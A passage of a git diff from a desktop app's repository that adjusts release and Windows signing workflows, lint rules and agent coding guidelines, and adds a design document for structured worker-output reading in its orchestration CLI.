# Why the remedy is spelled this narrowly: kind=rc derives its
|
||||
# base from bump(latest_stable, patch), so it can only resume a
|
||||
# series on that base. A minor/major series (1.5.0-rc.N) exists
|
||||
# only because this override created it, and pointing an
|
||||
# operator at kind=rc there would cut an unrelated release.
|
||||
echo "::error::Refusing explicit version $explicit: rc.$explicit_rc is not above rc.$highest_explicit_rc, the highest already cut for $explicit_base. Request rc.$((highest_explicit_rc + 1)) or higher. If you are resuming an unpublished tag and $explicit_base is the next patch after latest stable $latest_stable, dispatch kind=rc instead, which recovers that tag when it was cut from the ref you dispatch; otherwise cut rc.$((highest_explicit_rc + 1)) and leave the unpublished tag alone." >&2
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
new="$explicit"
|
||||
# Why here too: the suffix append below lives in the kind path the
|
||||
# override skips, so an operator passing both inputs used to get
|
||||
# their suffix silently dropped. Only a bare rc can take one — a
|
||||
# stable X.Y.Z.perf is not valid semver, and re-suffixing an
|
||||
# already-suffixed rc would produce rc.N.perf.perf.
|
||||
if [[ -n "${VERSION_SUFFIX:-}" ]]; then
|
||||
# Same bounded rc pattern as the shape check above, so the two
|
||||
# cannot drift apart under a later edit.
|
||||
if [[ ! "$explicit" =~ ^[0-9]+\.[0-9]+\.[0-9]+-rc\.(0|[1-9][0-9]{0,8})$ ]]; then
|
||||
echo "::error::version_suffix applies only to a bare X.Y.Z-rc.N version, got: $explicit" >&2
|
||||
exit 1
|
||||
fi
|
||||
require_valid_version_suffix "$VERSION_SUFFIX"
|
||||
new="${new}.${VERSION_SUFFIX}"
|
||||
fi
|
||||
echo "Explicit version override: $new"
|
||||
fi
|
||||
|
||||
if [[ -z "$new" ]]; then
|
||||
case "$KIND" in
|
||||
rc)
|
||||
# Why: RCs always stabilize the *next* patch after whatever
|
||||
@@ -377,15 +617,7 @@ jobs:
|
||||
new="${base}-rc.$((highest_rc + 1))"
|
||||
fi
|
||||
if [[ -n "${VERSION_SUFFIX:-}" ]]; then
|
||||
# Why a dot-appended identifier (rc.N.perf): it sorts just
|
||||
# above its own base rc.N but BELOW rc.N+1, so suffixed side-
|
||||
# branch builds never outrank the main RC series and cannot
|
||||
# hijack the update channel; clients find them by matching the
|
||||
# identifier ("perf") in the prerelease components.
|
||||
if [[ ! "$VERSION_SUFFIX" =~ ^[0-9A-Za-z]+$ ]]; then
|
||||
echo "::error::version_suffix must be alphanumeric, got: $VERSION_SUFFIX" >&2
|
||||
exit 1
|
||||
fi
|
||||
require_valid_version_suffix "$VERSION_SUFFIX"
|
||||
new="${new}.${VERSION_SUFFIX}"
|
||||
fi
|
||||
;;
|
||||
@@ -429,6 +661,7 @@ jobs:
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
fi
|
||||
|
||||
# Orphan-tag recovery.
|
||||
#
|
||||
@@ -476,7 +709,19 @@ jobs:
|
||||
# message and tag name explicitly (avoids npm's `v1.2.3` prefix
|
||||
# assumptions and any lifecycle scripts that would run on bump).
|
||||
npm version "$VERSION" --no-git-tag-version --allow-same-version
|
||||
git add package.json
|
||||
# Why: the cut is the only point where committed skill bytes become a
|
||||
# released revision. Without this row the ledger never advances, so the
|
||||
# next skill change rebuilds the revision this tag ships over different
|
||||
# bytes and every install of it stops matching a known snapshot.
|
||||
# --release is provenance-only: it fails if the content-addressed
|
||||
# artifacts do not already match this ref and writes just the mapping
|
||||
# row, so the version commit stays skill-independent. Node built-ins
|
||||
# only, so this needs no install.
|
||||
if ! node config/scripts/generate-skill-bundle-manifest.mjs --release "$VERSION"; then
|
||||
echo "::error::Refusing to record release provenance for v$VERSION: the committed skill artifacts do not match this ref. Land a regeneration on main, then re-run the cut." >&2
|
||||
exit 1
|
||||
fi
|
||||
git add package.json resources/skills/release-mapping.json
|
||||
commit_message="release: v$VERSION"
|
||||
if [[ "$EVENT_NAME" == "schedule" ]]; then
|
||||
commit_message="$commit_message [rc-slot:$SLOT]"
|
||||
@@ -489,6 +734,22 @@ jobs:
|
||||
else
|
||||
git commit -m "$commit_message"
|
||||
fi
|
||||
# Why: a lint that greps this file cannot see a path built from an env
|
||||
# var, a composite action, or concatenation, and `git commit` has forms
|
||||
# (-a, -i, --only, a pathspec) that commit the working tree rather than
|
||||
# the index. Assert what the commit actually carries, so the tag can
|
||||
# only ever ship the version bump and the provenance row, no matter
|
||||
# which step staged what or how the commit was spelled.
|
||||
# -F because the allowlist is literal: unanchored, `.` would match any
|
||||
# character and quietly admit a path like `packageXjson`.
|
||||
# -m --first-parent: plain diff-tree prints NOTHING for a merge commit,
|
||||
# which would make this guard pass silently rather than fail closed.
|
||||
committed="$(git diff-tree --no-commit-id --name-only -r -m --first-parent HEAD |
|
||||
grep -vxF -e 'package.json' -e 'resources/skills/release-mapping.json' || true)"
|
||||
if [[ -n "$committed" ]]; then
|
||||
echo "::error::Release commit carries unexpected paths: $(echo "$committed" | tr '\n' ' ')Only package.json and the skill release-mapping row may ship in a version commit." >&2
|
||||
exit 1
|
||||
fi
|
||||
git tag -a "v$VERSION" -m "v$VERSION"
|
||||
echo "tag=v$VERSION" >>"$GITHUB_OUTPUT"
|
||||
echo "sha=$(git rev-parse HEAD)" >>"$GITHUB_OUTPUT"
|
||||
@@ -1238,7 +1499,6 @@ jobs:
|
||||
Write-Warning 'Restored pre-rebuild installer; this release ships with unsigned inner binaries.'
|
||||
}
|
||||
# ── End Windows inner-binary signing ───────────────────────────────
|
||||
|
||||
- name: Upload unsigned Windows installer for SignPath
|
||||
if: matrix.platform == 'win'
|
||||
id: upload-unsigned-windows-installer
|
||||
@@ -1330,7 +1590,8 @@ jobs:
|
||||
}
|
||||
|
||||
Copy-Item -Path $signedInstaller.FullName -Destination 'dist/orca-windows-setup.exe' -Force
|
||||
& 'node_modules/app-builder-bin/win/x64/app-builder.exe' blockmap --input 'dist/orca-windows-setup.exe' --output 'dist/orca-windows-setup.exe.blockmap'
|
||||
node config/scripts/generate-windows-blockmap.mjs 'dist/orca-windows-setup.exe' 'dist/orca-windows-setup.exe.blockmap'
|
||||
if ($LASTEXITCODE -ne 0) { throw "blockmap generation failed with exit code $LASTEXITCODE" }
|
||||
|
||||
$installer = Get-Item 'dist/orca-windows-setup.exe'
|
||||
$blockmap = Get-Item 'dist/orca-windows-setup.exe.blockmap'
|
||||
@@ -1382,8 +1643,41 @@ jobs:
|
||||
INNER_SIGNING_COMPLETED: ${{ steps.rebuild-nsis-signed.outcome == 'success' }}
|
||||
run: |
|
||||
$required = $env:ORCA_WINDOWS_INNER_SIGNATURE_REQUIRED -eq 'true'
|
||||
|
||||
# Why: a fail-open gate that writes nothing is indistinguishable from a
|
||||
# gate that passed. Always leave a verdict in the evidence artifact and
|
||||
# the job summary so a silent degradation is visible (#6487).
|
||||
# Why best-effort: while warn-only, a disk-full or permission error
|
||||
# writing the verdict must not become the thing that fails the release.
|
||||
function Add-GateEvidence([string]$line) {
|
||||
try {
|
||||
Add-Content -Path 'inner-signing-evidence.txt' -Value "`n$line" -ErrorAction Stop
|
||||
} catch {
|
||||
Write-Host "::warning::Could not append to the inner-signing evidence file: $_"
|
||||
}
|
||||
}
|
||||
|
||||
function Add-GateSummary([string]$verdict) {
|
||||
if (-not $env:GITHUB_STEP_SUMMARY) { return }
|
||||
try {
|
||||
Add-Content -Path $env:GITHUB_STEP_SUMMARY -Value "**Windows inner-binary signing:** $verdict" -ErrorAction Stop
|
||||
} catch {
|
||||
Write-Host "::warning::Could not write inner-signing verdict to the job summary: $_"
|
||||
}
|
||||
}
|
||||
|
||||
function Write-GateVerdict([string]$verdict) {
|
||||
try {
|
||||
Set-Content -Path 'inner-signing-evidence.txt' -Value $verdict -ErrorAction Stop
|
||||
} catch {
|
||||
Write-Host "::warning::Could not persist inner-signing verdict: $_"
|
||||
}
|
||||
Add-GateSummary $verdict
|
||||
}
|
||||
|
||||
if ($env:INNER_SIGNING_COMPLETED -ne 'true') {
|
||||
$message = 'Windows inner-binary signing did not complete; this release ships unsigned inner binaries (fail-open, issue #7785).'
|
||||
Write-GateVerdict "NOT VERIFIED — $message"
|
||||
if ($required) { throw $message }
|
||||
Write-Host "::warning::$message"
|
||||
exit 0
|
||||
@@ -1392,13 +1686,28 @@ jobs:
|
||||
# Why try/catch: while the gate is warn-only, even an unexpected
|
||||
# script error (extraction hiccup, missing file) must not block
|
||||
# the release — only the flip to required makes failures fatal.
|
||||
# Why tracked separately: a required-mode signature failure must not be
|
||||
# rewritten as ERRORED by the catch below, which would replace the
|
||||
# per-file report with an exception string and lose the diagnostics.
|
||||
$policyFailure = $null
|
||||
|
||||
try {
|
||||
$report = New-Object System.Collections.Generic.List[string]
|
||||
$failures = New-Object System.Collections.Generic.List[string]
|
||||
|
||||
# Why: verify the files a user actually gets on disk, not the build
|
||||
# tree — 7z parses the NSIS exe directly as its embedded payload.
|
||||
$7za = 'node_modules/7zip-bin/win/x64/7za.exe'
|
||||
# Resolve 7za via app-builder-lib; electron-builder 26.9+ dropped the
|
||||
# bundled 7zip-bin package the old hardcoded path relied on (#6487).
|
||||
$7zaOutput = node config/scripts/resolve-7za-path.mjs
|
||||
$7zaExitCode = $LASTEXITCODE
|
||||
if ($7zaExitCode -ne 0) {
|
||||
throw "The 7za resolver exited with code $7zaExitCode for the inner-binary evidence gate."
|
||||
}
|
||||
$7za = ($7zaOutput | Out-String).Trim()
|
||||
if ([string]::IsNullOrWhiteSpace($7za) -or -not (Test-Path -LiteralPath $7za -PathType Leaf)) {
|
||||
throw "The 7za resolver returned an invalid path for the inner-binary evidence gate: $7za"
|
||||
}
|
||||
New-Item -ItemType Directory -Path inner-evidence-extract -Force | Out-Null
|
||||
& $7za x 'dist/orca-windows-setup.exe' '-oinner-evidence-extract' -y | Out-Null
|
||||
|
||||
@@ -1432,16 +1741,32 @@ jobs:
|
||||
if ($failures.Count -gt 0) {
|
||||
$failures | ForEach-Object { Write-Host "::warning::$_" }
|
||||
$message = "Windows inner-binary evidence gate found $($failures.Count) problems."
|
||||
if ($required) { throw $message }
|
||||
Write-Host "::warning::$message Fail-open until ORCA_WINDOWS_INNER_SIGNATURE_REQUIRED is 'true'."
|
||||
# Why assigned before any I/O: a write that throws here would reach
|
||||
# the catch with $policyFailure still null, so a required-mode
|
||||
# signature failure would be re-reported as ERRORED and the per-file
|
||||
# report overwritten — the exact masking the hoist exists to prevent.
|
||||
if ($required) {
|
||||
$policyFailure = $message
|
||||
} else {
|
||||
Write-Host "::warning::$message Fail-open until ORCA_WINDOWS_INNER_SIGNATURE_REQUIRED is 'true'."
|
||||
}
|
||||
Add-GateEvidence "VERDICT: FAILED — $message"
|
||||
Add-GateSummary "FAILED — $message"
|
||||
} else {
|
||||
Write-Host "All $($targets.Count) inner binaries in the shipped installer are signed by SignPath Foundation."
|
||||
$ok = "All $($targets.Count) inner binaries in the shipped installer are signed by SignPath Foundation."
|
||||
Add-GateEvidence "VERDICT: PASSED — $ok"
|
||||
Add-GateSummary "PASSED — $ok"
|
||||
Write-Host $ok
|
||||
}
|
||||
} catch {
|
||||
Write-GateVerdict "ERRORED — $_"
|
||||
if ($required) { throw }
|
||||
Write-Host "::warning::Windows inner-binary evidence gate errored: $_ (fail-open, issue #7785)."
|
||||
}
|
||||
|
||||
# Outside the catch so the FAILED evidence report survives intact.
|
||||
if ($policyFailure) { throw $policyFailure }
|
||||
|
||||
- name: Upload Windows inner signing evidence
|
||||
if: always() && matrix.platform == 'win'
|
||||
uses: actions/upload-artifact@v7
|
||||
|
||||
@@ -27,7 +27,11 @@ on:
|
||||
- 'config/patches/**'
|
||||
- 'config/scripts/ensure-native-runtime.mjs'
|
||||
- 'config/scripts/rebuild-native-deps.mjs'
|
||||
- 'config/scripts/verify-packaged-plugin-resources.cjs'
|
||||
- 'native/**'
|
||||
# Byte-hashed at package time, and CRLF-sensitive on Windows.
|
||||
- '.gitattributes'
|
||||
- 'resources/plugins/**'
|
||||
- 'resources/win32/**'
|
||||
- 'src/main/daemon/**'
|
||||
- 'src/main/index.ts'
|
||||
|
||||
@@ -271,7 +271,7 @@ jobs:
|
||||
throw 'Signed Windows installer was not returned by SignPath.'
|
||||
}
|
||||
Copy-Item -Path $signedInstaller.FullName -Destination 'dist/orca-windows-setup.exe' -Force
|
||||
& 'node_modules/app-builder-bin/win/x64/app-builder.exe' blockmap --input 'dist/orca-windows-setup.exe' --output 'dist/orca-windows-setup.exe.blockmap'
|
||||
node config/scripts/generate-windows-blockmap.mjs 'dist/orca-windows-setup.exe' 'dist/orca-windows-setup.exe.blockmap'
|
||||
if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE }
|
||||
|
||||
$installer = Get-Item 'dist/orca-windows-setup.exe'
|
||||
@@ -325,7 +325,16 @@ jobs:
|
||||
|
||||
# Extract the signed installer and verify the files a user actually
|
||||
# gets on disk — including the exact file from issue #7785.
|
||||
$7za = 'node_modules/7zip-bin/win/x64/7za.exe'
|
||||
# electron-builder 26.9+ removed the bundled 7zip-bin package (#6487).
|
||||
$7zaOutput = node config/scripts/resolve-7za-path.mjs
|
||||
$7zaExitCode = $LASTEXITCODE
|
||||
if ($7zaExitCode -ne 0) {
|
||||
throw "The 7za resolver exited with code $7zaExitCode for the signing rehearsal."
|
||||
}
|
||||
$7za = ($7zaOutput | Out-String).Trim()
|
||||
if ([string]::IsNullOrWhiteSpace($7za) -or -not (Test-Path -LiteralPath $7za -PathType Leaf)) {
|
||||
throw "The 7za resolver returned an invalid path for the signing rehearsal: $7za"
|
||||
}
|
||||
New-Item -ItemType Directory -Path extracted-app -Force | Out-Null
|
||||
& $7za x 'dist/orca-windows-setup.exe' '-oextracted-app' -y | Out-Null
|
||||
|
||||
|
||||
@@ -28,9 +28,13 @@ on:
|
||||
- 'src/main/ipc/pty*.ts'
|
||||
- 'src/main/providers/**'
|
||||
- 'src/main/pty/**'
|
||||
- 'src/main/pty-descendant-termination.ts'
|
||||
- 'src/main/windows-process-tree-kill.ts'
|
||||
- 'src/main/windows-pty-root-identity.ts'
|
||||
- 'src/preload/**'
|
||||
- 'src/renderer/src/components/terminal-pane/**'
|
||||
- 'src/renderer/src/lib/pane-manager/**'
|
||||
- 'src/shared/process-table-snapshot.ts'
|
||||
- 'src/shared/pty-session-id-format.ts'
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
|
||||
@@ -92,6 +92,7 @@ docs/**
|
||||
!docs/reference/
|
||||
!docs/reference/git-compatibility.md
|
||||
!docs/reference/headless-linux-server.md
|
||||
!docs/reference/linux-glibc-compatibility.md
|
||||
|
||||
# Stably CLI (only docs/ are tracked)
|
||||
.stably/*
|
||||
|
||||
@@ -49,6 +49,23 @@
|
||||
],
|
||||
"curly": "error",
|
||||
"no-unneeded-ternary": "error",
|
||||
"no-restricted-imports": [
|
||||
"error",
|
||||
{
|
||||
"paths": [
|
||||
{
|
||||
"name": "@linear/sdk",
|
||||
"allowTypeImports": true,
|
||||
"message": "Value-importing @linear/sdk hoists its ~2.6MB CJS bundle into the eager top-level require block and defeats the lazy loader. Use `import type` plus loadLinearSdk() from src/main/linear/linear-sdk.ts."
|
||||
},
|
||||
{
|
||||
"name": "qrcode",
|
||||
"allowTypeImports": true,
|
||||
"message": "qrcode is only reachable from mobile pairing; a static import parses it at launch for everyone. Use `import type` plus `await import('qrcode')` at the call site."
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"no-useless-return": "error",
|
||||
"prefer-template": "error",
|
||||
"unicorn/consistent-empty-array-spread": "error",
|
||||
|
||||
@@ -1,21 +1,23 @@
|
||||
# AGENTS.md
|
||||
|
||||
## Design System
|
||||
# Design System
|
||||
|
||||
All UI work — layout, color, typography, spacing, component selection, UX behavior — must follow [`docs/STYLEGUIDE.md`](./docs/STYLEGUIDE.md). Use the tokens defined in `src/renderer/src/assets/main.css` (the canonical source) and the shadcn primitives in `src/renderer/src/components/ui/`. Don't invent new color values, font sizes, or shadow tiers when a documented one already covers the role. When STYLEGUIDE.md is silent, follow the resolution order in its final section.
|
||||
|
||||
## Concise/Brief Non-obviosu code comments ONLY
|
||||
* Only when code is non-obvious, add code comment explaining **why** (not HOW).
|
||||
* BE CONCISE — ideally 1 line.
|
||||
# Style
|
||||
## Concise/Brief Non-obviosu comments ONLY
|
||||
* DO NOT: be verbose, explain the obvious, walk through the code ("WHY not HOW")
|
||||
* DO: BE CONCISE. 1 LINE if possible
|
||||
|
||||
## Lint Rules: Do Not Disable Max Lines
|
||||
|
||||
Never add a `max-lines` disable (`eslint-disable max-lines`, `oxlint-disable max-lines`, or line-specific variants), and never add a per-file `max-lines` bump in `mobile/.oxlintrc.json`.
|
||||
NEVER add a `max-lines` disable (`eslint-disable max-lines`, `oxlint-disable max-lines`, or line-specific variants), and never add a per-file `max-lines` bump in `mobile/.oxlintrc.json`.
|
||||
|
||||
## File and Module Naming
|
||||
|
||||
Never use vague names like `helpers`, `utils`, `common`, `misc`, or `shared-stuff` for files, folders, or modules. They carry zero info and tend to become dumping grounds. Name files after what they _actually_ contain — prefer the concrete domain concept (e.g. `tab-group-state.ts`, `terminal-orphan-cleanup.ts`) over the generic role (`tabs-helpers.ts`, `terminal-utils.ts`). If you find yourself reaching for `helpers`, the file probably has more than one responsibility and should be split, or there's a better name hiding in the code that describes what the functions operate on.
|
||||
|
||||
## Type Declarations: Prefer `.ts` Over `.d.ts`
|
||||
|
||||
# Considerations
|
||||
## Worktree Safety
|
||||
|
||||
Always use the primary working directory (the worktree) for all file reads and edits. Never follow absolute paths from subagent results that point to the main repo.
|
||||
@@ -27,11 +29,16 @@ Orca targets macOS, Linux, and Windows. Keep all platform-dependent behavior beh
|
||||
- **Keyboard shortcuts**: Never hardcode `e.metaKey`. Use a platform check (`navigator.userAgent.includes('Mac')`) to pick `metaKey` on Mac and `ctrlKey` on Linux/Windows. Electron menu accelerators should use `CmdOrCtrl`.
|
||||
- **Shortcut labels in UI**: Display `⌘` / `⇧` on Mac and `Ctrl+` / `Shift+` on other platforms.
|
||||
- **File paths**: Use `path.join` or Electron/Node path utilities — never assume `/` or `\`.
|
||||
- **Linux native modules**: keep the glibc floor at Ubuntu 20.04 / glibc 2.31. A module compiled from source on a newer runner can reference symbol versions absent on the floor and crash the app on startup. See [`docs/reference/linux-glibc-compatibility.md`](./docs/reference/linux-glibc-compatibility.md); packaging fails if a bundled native binary needs newer glibc.
|
||||
|
||||
## SSH Use Case
|
||||
|
||||
All changes must consider the SSH use case. Don't assume local-only execution.
|
||||
|
||||
## Folder Workspace Use Case
|
||||
|
||||
All changes must consider folder workspaces as well as git worktrees. Don't assume every workspace is a git worktree.
|
||||
|
||||
## Git Binary Compatibility
|
||||
|
||||
Orca runs the user's Git binary on native, WSL, and SSH hosts, which may all have different versions. Treat Git 2.25 as the core-workflow baseline and follow [`docs/reference/git-compatibility.md`](./docs/reference/git-compatibility.md).
|
||||
@@ -51,5 +58,3 @@ Source-control and review changes must consider GitLab and other supported git p
|
||||
## GitHub CLI Usage
|
||||
|
||||
Be mindful of the user's `gh` CLI API rate limit — batch requests where possible and avoid unnecessary calls. All code, commands, and scripts must be compatible with macOS, Linux, and Windows.
|
||||
|
||||
## Type Declarations: Prefer `.ts` Over `.d.ts`
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,604 @@
|
||||
# Orchestration Structured Worker Output
|
||||
|
||||
Status: implemented; physical local, mixed-version, and Windows-home to Mac-worker validation complete
|
||||
Scope: orchestration `worker-read` only
|
||||
Last updated: 2026-07-24
|
||||
|
||||
## Summary
|
||||
|
||||
`orca orchestration worker-read` currently reads bounded terminal output. That is always available,
|
||||
but full-screen agent TUIs can make it noisy or incomplete.
|
||||
|
||||
Orca already knows more than the terminal logo suggests. Agent hooks associate an exact pane with:
|
||||
|
||||
- the agent type, such as Codex or Claude;
|
||||
- the provider session or conversation ID; and
|
||||
- when available, the provider-reported transcript path.
|
||||
|
||||
The sidebar, session resume, sleeping-agent recovery, and native chat already use this information.
|
||||
The missing piece is a narrow orchestration path from an exact Dispatch to that exact session on the
|
||||
server where the worker runs.
|
||||
|
||||
The proposed behavior is:
|
||||
|
||||
```text
|
||||
worker-read
|
||||
exact supported transcript is available -> structured transcript page
|
||||
otherwise -> bounded terminal page
|
||||
```
|
||||
|
||||
This does not add orchestration strategy, a dashboard, a scheduler, or a universal provider layer.
|
||||
It makes one existing observation command return the best source Orca can prove.
|
||||
|
||||
## User-facing goal
|
||||
|
||||
A coordinator should be able to inspect a worker with one predictable command:
|
||||
|
||||
```bash
|
||||
orca orchestration worker-read --dispatch <dispatch-id> --json
|
||||
```
|
||||
|
||||
The coordinator should not need to know:
|
||||
|
||||
- which Orca server owns the worker;
|
||||
- the worker's terminal or pane handle;
|
||||
- the provider session ID;
|
||||
- where a transcript lives on disk; or
|
||||
- whether structured reading is supported by that provider/server version.
|
||||
|
||||
The response must always say which source was used. It must never silently read a different agent
|
||||
session.
|
||||
|
||||
## Why the existing sidebar is relevant
|
||||
|
||||
The agent logo identifies the detected agent type. By itself, that is not enough to choose a
|
||||
transcript.
|
||||
|
||||
The richer sidebar status also carries pane-scoped provider-session metadata reported by hooks.
|
||||
That is the useful foundation:
|
||||
|
||||
```text
|
||||
Dispatch
|
||||
-> exact worker process and terminal
|
||||
-> exact tab/leaf pane
|
||||
-> hook-reported provider session
|
||||
-> provider transcript locator
|
||||
```
|
||||
|
||||
Some live status ownership is currently renderer-centric, while headless and mobile graph paths
|
||||
also retain compatible status snapshots. Implementation therefore needs one runtime-owned lookup
|
||||
that exposes the current exact pane association to `worker-read`. This is a small bridge over
|
||||
existing status data, not a second agent-status system.
|
||||
|
||||
## Design principles
|
||||
|
||||
### Exactness over convenience
|
||||
|
||||
- Never select the "latest session in this directory."
|
||||
- Never select a transcript from a terminal title or logo alone.
|
||||
- Never switch sources or sessions in the middle of a cursor chain.
|
||||
- If Orca cannot prove the association, return a labeled terminal fallback.
|
||||
|
||||
### Resource-local reads
|
||||
|
||||
The server running the worker resolves and reads its transcript. A Run home on macOS must not try
|
||||
to interpret a Windows path, and a Windows Run home must not try to interpret a macOS path.
|
||||
|
||||
Only bounded output data crosses the federation connection. Transcript paths do not.
|
||||
|
||||
### One simple agent command
|
||||
|
||||
Agents should not choose provider adapters or supply session metadata. `worker-read` defaults to
|
||||
automatic source selection. Source selection flags exist for debugging and explicit policy, not
|
||||
because they are required in the normal loop.
|
||||
|
||||
### Narrow provider support
|
||||
|
||||
Initial support should cover only providers for which Orca already has:
|
||||
|
||||
1. an exact pane-scoped session association; and
|
||||
2. an existing bounded transcript reader with test coverage.
|
||||
|
||||
Codex is the required first provider. Claude may ship in the same change only if it uses the same
|
||||
proven reader path without adding a second architecture. Other agents receive terminal fallback.
|
||||
|
||||
### Honest compatibility
|
||||
|
||||
Connected servers can run different Orca versions. A server without structured-read support must
|
||||
continue to return bounded terminal output rather than failing the whole Run.
|
||||
|
||||
## Public command contract
|
||||
|
||||
### Request
|
||||
|
||||
```bash
|
||||
orca orchestration worker-read \
|
||||
--dispatch <dispatch-id> \
|
||||
[--source auto|transcript|terminal] \
|
||||
[--cursor <opaque-cursor>] \
|
||||
[--limit <count>] \
|
||||
[--json]
|
||||
```
|
||||
|
||||
`--source` behavior:
|
||||
|
||||
| Value | Behavior |
|
||||
| ------------ | -------------------------------------------------------------------------------------- |
|
||||
| `auto` | Use an exact supported transcript; otherwise use terminal output. This is the default. |
|
||||
| `transcript` | Require an exact supported transcript. Return a typed error instead of falling back. |
|
||||
| `terminal` | Use the current bounded terminal reader. |
|
||||
|
||||
Existing numeric terminal cursors remain accepted. New responses return an opaque cursor that can
|
||||
pin either source without exposing provider paths.
|
||||
|
||||
### Response
|
||||
|
||||
The implemented structured response has this shape:
|
||||
|
||||
```json
|
||||
{
|
||||
"dispatchId": "dispatch_123",
|
||||
"source": "transcript",
|
||||
"sourceIdentity": "opaque-source-fingerprint",
|
||||
"provider": "codex",
|
||||
"transcript": {
|
||||
"messages": [],
|
||||
"nextCursor": "opaque-next-cursor",
|
||||
"limited": false,
|
||||
"returnedMessageCount": 0
|
||||
},
|
||||
"cursor": "opaque-next-cursor",
|
||||
"status": {
|
||||
"worker": "running",
|
||||
"terminal": "running"
|
||||
},
|
||||
"fallbackReason": null,
|
||||
"warnings": []
|
||||
}
|
||||
```
|
||||
|
||||
Terminal fallback uses the same envelope and keeps the existing terminal data:
|
||||
|
||||
```json
|
||||
{
|
||||
"dispatchId": "dispatch_123",
|
||||
"source": "terminal",
|
||||
"sourceIdentity": "opaque-terminal-incarnation",
|
||||
"terminal": {
|
||||
"tail": ["..."],
|
||||
"status": "running",
|
||||
"nextCursor": "..."
|
||||
},
|
||||
"cursor": "opaque-next-cursor",
|
||||
"fallbackReason": "session_not_reported",
|
||||
"warnings": []
|
||||
}
|
||||
```
|
||||
|
||||
For backward compatibility:
|
||||
|
||||
- the terminal branch retains the existing `terminal.tail`, `terminal.status`, and
|
||||
`terminal.nextCursor` fields;
|
||||
- non-JSON output prints readable transcript entries or terminal lines without requiring an agent
|
||||
to branch on JSON manually;
|
||||
- a mixed-version federated read can return the legacy terminal shape, which the Run home wraps as
|
||||
a labeled terminal response.
|
||||
|
||||
### Fallback reasons
|
||||
|
||||
Fallback reasons are bounded typed values, not arbitrary policy:
|
||||
|
||||
- `provider_unsupported`
|
||||
- `session_not_reported`
|
||||
- `transcript_missing`
|
||||
- `transcript_unreadable`
|
||||
- `transcript_parse_failed`
|
||||
- `remote_capability_unavailable`
|
||||
|
||||
Warnings may provide safe diagnostic context, but must not contain a remote filesystem path.
|
||||
|
||||
### Typed errors
|
||||
|
||||
Errors are used when returning any source would be misleading:
|
||||
|
||||
- `dispatch_not_found`
|
||||
- `worker_identity_changed`
|
||||
- `source_changed`
|
||||
- `cursor_invalid`
|
||||
- `cursor_dispatch_mismatch`
|
||||
- `transcript_required`
|
||||
- the existing connected-server unavailable/unknown result
|
||||
|
||||
`source_changed` means the exact pane is now associated with a different provider session than the
|
||||
one pinned by the cursor. The caller starts a new read without the old cursor. Orca never silently
|
||||
jumps to the replacement session.
|
||||
|
||||
## Source identity and cursor rules
|
||||
|
||||
The cursor is opaque to clients and contains only non-sensitive routing data:
|
||||
|
||||
- cursor version;
|
||||
- Dispatch ID;
|
||||
- source kind;
|
||||
- an opaque digest of the exact source identity;
|
||||
- provider-specific or terminal paging position.
|
||||
|
||||
It must not contain a transcript path.
|
||||
|
||||
On every continued read, the worker server:
|
||||
|
||||
1. revalidates the Dispatch's exact process attachment;
|
||||
2. resolves the current pane/session association;
|
||||
3. compares its source digest with the cursor;
|
||||
4. reads only when they still match; and
|
||||
5. otherwise returns `source_changed` or `worker_identity_changed`.
|
||||
|
||||
The cursor is source-pinned even when the request uses `--source auto`. `auto` chooses only on the
|
||||
first page.
|
||||
|
||||
The implementation uses a versioned stateless token. The token is not an authority credential:
|
||||
every read revalidates the Dispatch, process, pane, source digest, and provider session before
|
||||
returning data. This lets paging survive an Orca restart without adding cursor-secret persistence.
|
||||
|
||||
## Runtime architecture
|
||||
|
||||
### 1. Resolve the Dispatch at its Run home
|
||||
|
||||
The Run home remains authoritative for Task and Dispatch state. It looks up the Dispatch and its
|
||||
pinned worker server exactly as `worker-show` and the current `worker-read` do.
|
||||
|
||||
No automatic placement or server selection is added.
|
||||
|
||||
Current implementation anchors:
|
||||
|
||||
- `src/main/runtime/rpc/methods/orchestration-worker-control.ts` owns local and federated
|
||||
`worker-read` routing.
|
||||
- `src/main/runtime/rpc/methods/orchestration-worker-observation.ts` validates the exact attached
|
||||
worker.
|
||||
- `src/cli/handlers/orchestration.ts` owns the current CLI request and terminal rendering.
|
||||
|
||||
### 2. Route the read to the worker server
|
||||
|
||||
For a local worker, the Run home and worker server are the same runtime.
|
||||
|
||||
For a federated worker, the Run home calls the existing federation read route on the server pinned
|
||||
to the Dispatch. The request contains the Dispatch ID, source preference, cursor, and limit—not a
|
||||
terminal handle, session ID, or transcript path chosen by the coordinator.
|
||||
|
||||
### 3. Revalidate the exact worker
|
||||
|
||||
The worker server uses the existing Dispatch attachment to verify:
|
||||
|
||||
- the exact managed pane;
|
||||
- the exact terminal/process incarnation; and
|
||||
- that the Dispatch has not been replaced, stopped, or detached.
|
||||
|
||||
This preserves the same no-cross-worker rule already used by worker lifecycle and terminal reads.
|
||||
|
||||
### 4. Resolve the pane's provider session
|
||||
|
||||
Add one runtime-owned resolver that returns a snapshot similar to:
|
||||
|
||||
```ts
|
||||
type ExactWorkerProviderSession = {
|
||||
paneKey: string
|
||||
agent: TuiAgent
|
||||
providerSession: AgentProviderSessionMetadata
|
||||
observedAt: number
|
||||
}
|
||||
```
|
||||
|
||||
The resolver may use the current runtime graph/headless retained status, but it must accept the
|
||||
Dispatch's exact pane identity as input. It must not search all sessions by working directory or
|
||||
agent type.
|
||||
|
||||
The source association is considered usable only when:
|
||||
|
||||
- it belongs to the Dispatch's exact current pane/process;
|
||||
- the hook metadata is fresh enough to belong to that process incarnation;
|
||||
- the provider session metadata passes existing normalization/canonicalization; and
|
||||
- a supported adapter can resolve an exact transcript.
|
||||
|
||||
If these checks fail under `auto`, the read falls back to terminal output.
|
||||
|
||||
Current session/status anchors:
|
||||
|
||||
- `src/shared/agent-session-resume.ts` defines normalized provider-session metadata.
|
||||
- `src/renderer/src/store/slices/agent-status.ts` maintains pane-scoped live agent status.
|
||||
- `src/shared/runtime-types.ts` carries compatible agent status in runtime/mobile graph snapshots.
|
||||
- `src/main/runtime/orca-runtime.ts` preserves provider-session metadata when it publishes those
|
||||
snapshots.
|
||||
|
||||
### 5. Read through a narrow adapter
|
||||
|
||||
Reuse the existing bounded native-chat transcript parser rather than adding another parser stack.
|
||||
Extract or wrap its pure reader behind a small orchestration adapter:
|
||||
|
||||
```ts
